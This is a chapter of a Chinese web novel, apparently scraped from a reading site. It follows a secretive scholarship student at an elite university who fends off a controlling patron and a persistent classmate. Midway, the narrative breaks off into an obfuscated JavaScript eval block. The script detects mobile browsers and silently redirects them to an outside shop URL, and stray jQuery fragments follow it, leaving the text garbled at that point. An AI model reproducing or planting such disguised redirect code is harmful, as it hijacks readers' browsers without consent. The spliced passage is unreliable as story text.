“非要提前返校？距离开学，还有一周。”
车厢里传出一道极低的男声，音色沉得压人，没什么情绪起伏，却自带上位者不容置喙的强势，空气都跟着微微收紧。
赵恩颂扶着行李箱站在路边，微微俯身透过车窗看向驾驶座的男人，语气平平淡淡的：“明天新生报到，学生会要准备招新，我得过去帮忙搭把手。”
落日斜斜照进车里，勾勒出男人轮廓利落的眉骨、鼻梁和下颌线。常年阅历沉淀下来的气场刻在骨子里，不用刻意端着架子，成熟强势的压迫感自然而然漫出来，沉稳又极具威慑力。
“学生会那些琐碎事，不值得你浪费时间。”男人语调平淡，却带着笃定的掌控感，“你想认识谁，我可以直接给你铺路。没必要自己折腾。”
赵恩颂情绪没有半点起伏：“我觉得挺有意思的，想体验点不一样的校园生活。”
他面无表情看着车里的人，不知情的路人路过，多半会以为是校外成年人拦着学生搭讪。他身形刚好挡住大半车窗，外人看不清车内情况。“我先进学校了，你回公司吧。”
男人没有回话，只是抬起手，对着自己侧脸轻点了两下。
赵恩颂脸色一僵，差点下意识往后退。他强行压下躲开的冲动，脚趾紧紧抠着鞋底，攥着拉杆的手指用力到泛白。
男人就静静坐在车里等着，目光带着审视，还藏着几分玩味，慢悠悠扫过他整张脸，侵略感很强，看得人后背发紧。当众做这种隐晦的试探，实在让人难堪。
赵恩颂喉结轻轻一动，俯身凑近车窗。对方的视线牢牢锁在他身上，一刻都没移开过。
他抬起手，指节轻轻蹭过男人的脸颊，很快收回手站直，随口找了个理由：“你脸上沾了点东西，我顺手帮你擦掉了。”
男人眼神锐利，一言不发盯着他，两个人之间的空气慢慢变得凝滞。校门口人来人往的喧闹仿佛隔了一层玻璃，只剩下两道视线暗自较劲拉扯。
赵恩颂坦然接住这份沉甸甸的注视，眼底带着一点执拗的韧劲，偏偏他本身气质清冷温和，中和掉了尖锐感，显得格外特别。对方明明一句话就能断掉他现在所有依靠，他却分寸不乱，反倒勾起了男人心里几分兴致。
过了片刻，男人唇角浅浅勾了一下：“我走了。”
“好。”赵恩颂抬手轻轻挥了挥。
车窗缓缓升起来，冷沉的嗓音隔着玻璃传来，带着不容反驳的警告：“周末我让司机来接你。安分点，别再闹出上次的事。”
“不一定有空，学生会说不定临时安排工作……”
后半句话还没说完，车窗彻底合拢，轿车直接开走，余下的话音散在风里。
赵恩颂望着车子走远，心里满是烦躁，可对方握着拿捏自己的把柄，他只能一次次压下火气，暂且忍耐。
校门口人潮之中，有一道视线藏得隐蔽又大胆，从头看到尾，完整看完了刚才这一段拉扯。
赵恩颂转身往校园里走，没走几步，迎面正好撞上站在门口的周嘉致，两人猝不及防对视上。
他一时间没立刻叫出对方名字，心头先紧了一下：刚才那一幕，该不会全被这人看见了。
见赵恩颂看向自己，周嘉致连忙把手里一沓迎新宣传单塞给旁边同学，理了理袖口快步走上前：“恩颂，你怎么提前过来了？”
“学生会安排了迎新帮忙的任务。”赵恩颂一边回话，一边快速对上对方身份——学习生活部部长，周嘉致。
周嘉致恍然大悟：“我听说生活部从各个部门抽调人手过来帮忙，没想到还有你。”
说着，他很自然伸手想去拎赵恩颂的行李箱：“箱子我帮你拿吧。”
赵恩颂轻轻避让了一下：“我自己来就行，我又不是新生，耽误你的时间不太合适。”
“你是主席团的人，过来干杂活我反倒过意不去，交给我就好。”
话都说到这份上，赵恩颂半推半就松了手，能省事没必要硬撑。
“我先送你回宿舍放行李。”周嘉致拉着行李箱往前走。
赵恩颂扯出一个分寸感恰到好处的浅笑，礼貌之余带着明显的疏离：“麻烦你了。”
找人帮忙也要拿捏姿态，不能太过放低身段，不然他一贯清冷自持的人设就撑不住了。
等周嘉致走到前面，他脸上那点客气笑意瞬间收得干干净净。入学第一年，他就练会了随意控制情绪、收敛表情，只是今天莫名很累，明明没干什么体力活，心口却闷沉沉的。
两人走远之后，留在校门口待命的几名学生会干部凑在一起小声闲聊。
“天呐，那不是赵恩颂吗？”
“一模一样的校服穿他身上氛围感完全不一样，他是不是偷偷改版型了？”
“校服都是统一尺码定做的，说白了就是长相身形底子差距太大。”
“你这话也太扎心了吧。”
“说起来咱们部长什么时候和赵恩颂关系这么好了？”
“人家本来就是一个圈子的，优秀的人本来就互相认识。”
.
一路上，赵恩颂时不时摆弄手机，频繁给文件传输助手发语音，刻意装作很忙的样子，减少周嘉致主动搭话的机会。
周嘉致心思细腻，察觉到他有意保持距离，很识趣地没有过多闲聊。
这套应对方式对付周嘉致刚刚好，换做余朝，搞不好直接抢过他的手机扔一边。相比之下，他更愿意和懂得把握分寸的周嘉致相处。还好余朝不知道他提前返校，不然那人肯定黏过来添乱。
“恩颂。”周嘉致侧过头看他，眼神安静认真，“今晚迎新工作结束之后，有空一起吃顿饭吗？”
赵恩颂快速权衡一番利弊，轻轻点头：“可以。”
.
赵恩颂在图书馆门前的迎新点位忙到晚上七点，前来报到的新生才慢慢变少。他长相出众气质干净，就算不负责答疑接待，也总被新生围上来搭讪。
“学长方便留个手机号吗？”
“学长是什么专业的？”
“学长你有对象吗，我能不能追你？”
一声声“学长”在耳边绕来绕去，吵得他太阳穴发胀。
他手脚麻利把所有资料整理好装进文件袋，身形挺拔清瘦像一截青竹，性格清冷却不至于拒人千里，旁人不忍心贸然打扰，却又忍不住想要靠近。低头整理纸张时，额前碎发滑落，长睫毛在眼下投出浅浅阴影，修长手指抚平纸页折痕这个小动作，都引得旁边不少人暗自心动。
一根手指小心翼翼戳了戳赵恩颂的小臂，干事压低声音开口：“副主席……”
赵恩颂停下动作，抬头温和笑了笑：“直接叫我学长就好，不用这么拘谨。”
“学长，剩下收尾我们来收拾就行，你先回去休息吧。”
其他干事见状也纷纷围上来附和，有颜值这么能打的学长一起干活，再累多看一眼都能缓解不少疲惫。
“今天辛苦你过来帮忙了，早点回去歇着吧。”
赵恩颂微微迟疑，推脱好几次拗不过众人好意，才把手里的资料递出去。
“学长明天还过来这边帮忙吗？”
“看部门安排，不一定。”
有个干事嘴快开口邀约：“学长要不明天来我们组吧，我们正好缺人手。”
话音刚落，生活部副部长抬手拍了下他后脑勺：“还好意思开口，总麻烦别人额外加班？”
赵恩颂笑着打圆场：“没事的。”
“对了学长，我们部门晚上聚餐，你要不要一起参加？”
周嘉致从头到尾没提过聚餐这件事，赵恩颂顺势问道：“只有你们生活部内部聚餐吗？”
“嗯，就我们部门自己人小聚。”
他面露歉意委婉回绝：“不好意思，我之前已经和别人有约了，下次有机会再一起聚餐。”
客套几句之后赵恩颂转身离开，心里暗自纳闷周嘉致身为部长，怎么放着部门集体聚餐不去。一旦部员知道他推掉团建，专门单独约自己吃饭，免不了传出闲话，胡乱揣测两人关系。他和周嘉致本就交情很浅，不想传出影响自己口碑的流言，打算回宿舍之后找合适理由推掉晚饭邀约。
口袋里的手机突然震动，屏幕亮起，发信人正是周嘉致。
赵恩颂本想装作没看见加快脚步，手机紧接着又震了第二下。他轻叹一口气解锁屏幕查看消息：
周嘉致：你已经先走了？
周嘉致：我很快就到，你留在原地等我就可以的。
赵恩颂一边慢悠悠打字回复，脚步不停朝着宿舍楼走：
赵恩颂：我刚知道你们部门有聚餐，还以为你要跟着大家一起。
周嘉致：聚餐无所谓，我更想单独跟你吃饭。
赵恩颂一时没想出委婉拒绝的措辞，新消息紧跟着弹了出来：
周嘉致：你现在在哪？先别走，我过来找你。
赵恩颂眉头一皱，立刻加快脚步赶路，手指飞快打字：我都快到宿舍楼下了，今天实在太累，你缺席部门聚餐也不太合适，不如改到明……
打到一半又全部删掉，明天赴约同样不妥。
后天就是新生报到截止日期，按照学生会惯例，迎新第一阶段结束会组织全体大聚餐。
他是主席团成员，周嘉致是部门部长，两个人本来就必须到场，刚好顺理成章躲开这次
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17715071|208506||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
单独吃饭。
他正要修改文字发送，身后传来一声呼喊：“恩颂。”
是周嘉致，居然追得这么快。
赵恩颂当即删掉输入框里的文字，干脆长按关机，整套动作一气呵成。
“恩颂。”周嘉致追到他身侧，伸手轻轻拍了拍他的肩膀。
赵恩颂停下脚步，故作诧异：“你怎么过来了？不用参加部门聚餐吗？”
周嘉致扶着膝盖微微喘气：“你没看见我发的消息？”
周嘉致比赵恩颂高一届，两人之前只在学生会工作上零星碰面，赵恩颂甚至记不清两人具体是怎么熟悉起来的，只记得不知道从哪天起对方主动打招呼，寒暄几句，话题永远局限在校内公事，交情平淡普通。
他从来没想过，对方现在会这么难缠。
赵恩颂在心里轻轻叹了口气，举着黑屏的手机按了两下电源键：“手机刚好没电自动关机了，我正赶回宿舍充电。”
“原来是这样。”周嘉致十分体贴，“我车上有充电宝，借你用就行，餐厅我已经提前订好了，现在过去时间刚刚好。”
赵恩颂愣了一下：“你提前订好饭店了？”
“嗯，你有没有什么忌口不吃的？”
“没有。”
赵恩颂暗自吐槽，食堂性价比高又省事，没必要特意出去下馆子。一想到银行卡里只有三位数的余额，瞬间没什么胃口。要是餐厅档次偏高，周嘉致提出AA分摊账单，他拿不出钱，只能借口躲进卫生间，打电话找那个男人转钱应急。
周嘉致随口安排道：“我现在让司机把车开进校园里。”
私家车能开进学校？赵恩颂心里一动。
蒙斯特大学管理十分严格，就算开学搬行李、毕业离校这种特殊时段，也不允许学生私家车入校，就算是部门部长也没有这个权限，操作不妥还会被人举报。
这所学校一直有一条所有人心照不宣的隐形等级规则，全校学生分成四个层级，从高到低分别是一等生、二等生、三等生、特优生。
一等生人数最少，处在校园金字塔顶端，手握普通人接触不到的特权；二等生排名次之，哪怕是二等生里最拔尖的人，也很难跨过和底层一等生之间的鸿沟；三等生人数最多，走出校园之后，个个也都是同龄人里的佼佼者；排在最后的特优生，身份未必低微。
他们招生路径特殊，不走统考招生，资产审核门槛更低，还有一条极少有人知晓的内部推荐渠道，由校理事、资深教授或是匿名资助人保荐入学，大多身份敏感需要隐藏，也因此经常受到校内其他学生排挤打压。
没过多久，一辆风格低调的黑色轿车停在两人面前，司机下车拉开车门，周嘉致示意赵恩颂先上车。
等赵恩颂坐进后排，周嘉致抬手示意司机回到驾驶位，自己撑着车门没有立刻上车，似笑非笑开口：“你是不是很好奇，我为什么能把车子开进来？”
赵恩颂神色平淡：“不用特意解释，这是你的私事。”
学生等级不会印在学生证上面，但在蒙斯特大学，只要愿意动用圈子人脉，查清一个人的背景并不算难事，这也是赵恩颂刻意经营社交圈的原因。
周嘉致弯腰坐进车里：“实话跟你说，我是一等生，和你一个层级，你信吗？”
赵恩颂客套地笑了笑，下意识往座位另一边挪了挪身子：“我信。”
心底却半点不信。
早在察觉到周嘉致刻意靠近自己的时候，他就借着学生会副主席的权限查过对方档案，普通体制内中产家庭，实打实的三等生，车子能进校，多半是父母动用关系打点得来的。
想明白这点，赵恩颂彻底收起探究的心思，及时止损才最理智。
他的时间、精力都很宝贵，没必要浪费在帮不到自己半点忙的三等生身上。
赵恩颂本身就现实通透，只愿意主动靠拢一等生圈子，只有站在顶层的人，才有资格成为他的人脉资源。
但他自己并不是一等生，而是身份严格保密的特优生，这份档案只有学校高层和学生会主席知情。
他拼命挤进上层圈子，就是为了潜移默化让所有人默认他出身不凡，就算未来身份意外曝光，也很少有人会当真。
他甚至做好最坏打算，万一哪天匿名资助断掉、没法继续读书，靠着平时维系的一等生人脉，总能找到一个靠山兜底。
普通三等生不仅给不了他助力，还总想着麻烦、消耗他，是赵恩颂最反感的一类人。
他看着功利，却从不会主动低头讨好别人，一直维持自尊感强、不主动索取的处事方式经营人设，靠着这份伪装，顺利混进上层圈子，瞒住了身边绝大多数人。